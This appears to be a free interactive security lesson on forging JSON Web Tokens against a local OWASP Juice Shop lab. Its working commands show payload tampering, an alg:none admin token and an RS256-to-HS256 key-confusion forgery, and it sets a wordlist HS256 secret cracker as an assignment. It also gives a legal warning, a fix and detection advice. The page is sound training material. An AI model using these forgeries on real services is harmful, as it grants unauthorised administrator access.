Easier to read with cream paper, a tint, more contrast or larger text? Choose your colours and text, once, for every page.

Free lesson

Attacks on JSON Web Tokens

After this lesson: I can test whether an API accepts a forged JSON Web Token.

60 min lesson11 commandsOWASP Juice Shop lab: a vulnerable web shop to attack in your own copy

A quick check that you are not a bot, then your own lab opens on the interactive lesson.

Already have an account? Sign in

A wristband you can redraw

At a festival a wristband shows you paid. A good one is hard to copy. A bad one could be redrawn with a pen.

A JSON Web Token, JWT, is an API's wristband: a signed note saying who you are. This lesson redraws a weak one in four ways.

The one rule

Warning

Forge tokens only for your own lab copy. Using a forged token on a real service is unauthorised access, a crime in the UK under the Computer Misuse Act 1990. Testing a real system needs its owner's written permission.

Quick check: the rule

Have a go

Quick check: the rule

3 questions
Have a go: your answers are marked here and then forgotten. Sign in if you would like your score kept, and to pick up where you left off.Sign in to keep your score

By the end of this lesson

Note

I can test whether an API accepts a forged JSON Web Token.

Key words

WordWhat it meansExample
JWTa signed token of three dotted parts
Headerthe part naming the signing algorithm"alg":"RS256"
Payloadthe part holding the claims
Signaturethe part that proves nobody changed the others
alg nonea header that says the token is unsigned
Key confusiontricking a server into the wrong kind of check

The cells students fill in are left blank in this preview.

Starter

Have a go

Starter

4 questions
Have a go: your answers are marked here and then forgotten. Sign in if you would like your score kept, and to pick up where you left off.Sign in to keep your score

A token is readable by anyone

A JWT is three parts joined by dots: header, payload, signature. The first two are only base64, an encoding, so anybody can read them.

Make an account, sign in, and read your token's header and payload.

Make an account

Command
curl -s -H "Content-Type: application/json" -d '{"email":"[email protected]","password":"Fay_12345","passwordRepeat":"Fay_12345"}' http://juice-shop:3000/api/Users

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Sign in and keep the reply

Command
curl -s -H "Content-Type: application/json" -d '{"email":"[email protected]","password":"Fay_12345"}' -o fay.json http://juice-shop:3000/rest/user/login

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Read the header

Command
grep -o 'eyJ[^"]*' fay.json | cut -d. -f1 | base64 -d

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Find the password inside the payload

Command
grep -o 'eyJ[^"]*' fay.json | cut -d. -f2 | base64 -d | grep -o '"password":"[0-9a-f]*"'

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Check

Have a go

Check

3 questions
Have a go: your answers are marked here and then forgotten. Sign in if you would like your score kept, and to pick up where you left off.Sign in to keep your score

Change the payload, keep the signature

Change your token's payload to say you are the admin, and keep the shop's signature. A server that checks signatures refuses it, because the signature no longer matches.

The first Run writes the changed token into a file. The second sends it to /api/Users, which needs a valid token.

Write a token with a changed payload

Command
echo "$(grep -o 'eyJ[^"]*' fay.json | cut -d. -f1).$(printf '{"data":{"id":1,"email":"[email protected]","role":"admin"}}' | base64 | tr -d '=\n' | tr '+/' '-_').$(grep -o 'eyJ[^"]*' fay.json | cut -d. -f3)" > tampered

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Send the changed token

Command
curl -s -o /dev/null -w "%{http_code}\n" -H "Authorization: Bearer $(cat tampered)" http://juice-shop:3000/api/Users

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Say the token is unsigned

The header names the algorithm, and one allowed name is none: no signature at all. A server that believes the header skips the check.

Write a token whose header says none, with the admin payload and an empty signature, and send it.

Write an unsigned token

Command
echo "$(printf '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=\n' | tr '+/' '-_').$(printf '{"data":{"id":1,"email":"[email protected]","role":"admin"}}' | base64 | tr -d '=\n' | tr '+/' '-_')." > none

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Send the unsigned token

Command
curl -s -o /dev/null -w "%{http_code}\n" -H "Authorization: Bearer $(cat none)" http://juice-shop:3000/api/Users

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Try it: take a token apart

Code: python
import base64, json

def part(text):
    text = text + "=" * (-len(text) % 4)
    return json.loads(base64.urlsafe_b64decode(text))

token = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJyb2xlIjoiYWRtaW4ifQ."
header, payload, signature = token.split(".")
print(part(header))
print(part(payload))
print("signature:", repr(signature))
# Would a server that reads alg from the header check anything here?

Make a free account to save your work and track your progress.

Check

Have a go

Check

3 questions
Have a go: your answers are marked here and then forgotten. Sign in if you would like your score kept, and to pick up where you left off.Sign in to keep your score

Sign with the public key

RS256 signs with a private key and checks with a public key, which is public. HS256 signs and checks with one shared secret.

If a server checks "with the key" whatever the header says, an attacker signs with HS256 using the public key as the secret. Fetch the key, sign, and send.

Fetch the shop's public key

Command
curl -s -o jwt.pub http://juice-shop:3000/encryptionkeys/jwt.pub

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Sign an admin token with HS256

Command
python3 -c "import base64,hmac,hashlib;b=lambda x:base64.urlsafe_b64encode(x).rstrip(b'=');s=b(b'{\"alg\":\"HS256\",\"typ\":\"JWT\"}')+b'.'+b(b'{\"data\":{\"id\":1,\"email\":\"[email protected]\",\"role\":\"admin\"}}');print((s+b'.'+b(hmac.new(open('jwt.pub','rb').read(),s,hashlib.sha256).digest())).decode())" > hs256

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Send the HS256 token

Command
curl -s -o /dev/null -w "%{http_code}\n" -H "Authorization: Bearer $(cat hs256)" http://juice-shop:3000/api/Users

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

A common mistake

Warning

Many people think a signed token cannot be faked. It cannot, if the server decides the algorithm itself. Here the server let the token's own header choose, so the attacker chose no check, then a check with a key everybody has.

Fix it and watch for it

Fix: the server names the one algorithm it accepts and never reads it from the token. Use a maintained library, keep secrets out of the payload, and check expiry. Module 114, Identity and access, builds this properly.

Detect: log each token's alg. Alert on none, or on HS256 when you only issue RS256.

Assignment: test tokens like an attacker

Write three functions with the standard library (base64, json, hmac, hashlib).

decode_part(part) turns one base64url part of a token into a dictionary, adding the = padding it lacks. is_unsigned(token) returns True if the header's alg is "none" in any mix of capitals, or the signature part is empty. crack_hs256(token, words) tries each word in the list as the HS256 secret and returns the first whose signature matches the token's, or None. The signature is the base64url encoding, without padding, of HMAC-SHA256 over header.payload with the word as the key.

Code: python
def decode_part(part):
    return {}


def is_unsigned(token):
    return False


def crack_hs256(token, words):
    return None

Make a free account to save your work and track your progress.

Exit quiz

Have a go

Exit quiz

5 questions
Have a go: your answers are marked here and then forgotten. Sign in if you would like your score kept, and to pick up where you left off.Sign in to keep your score

Teaching a class? Set this module for your students with a teacher guide, marked assignments and a lab for every student.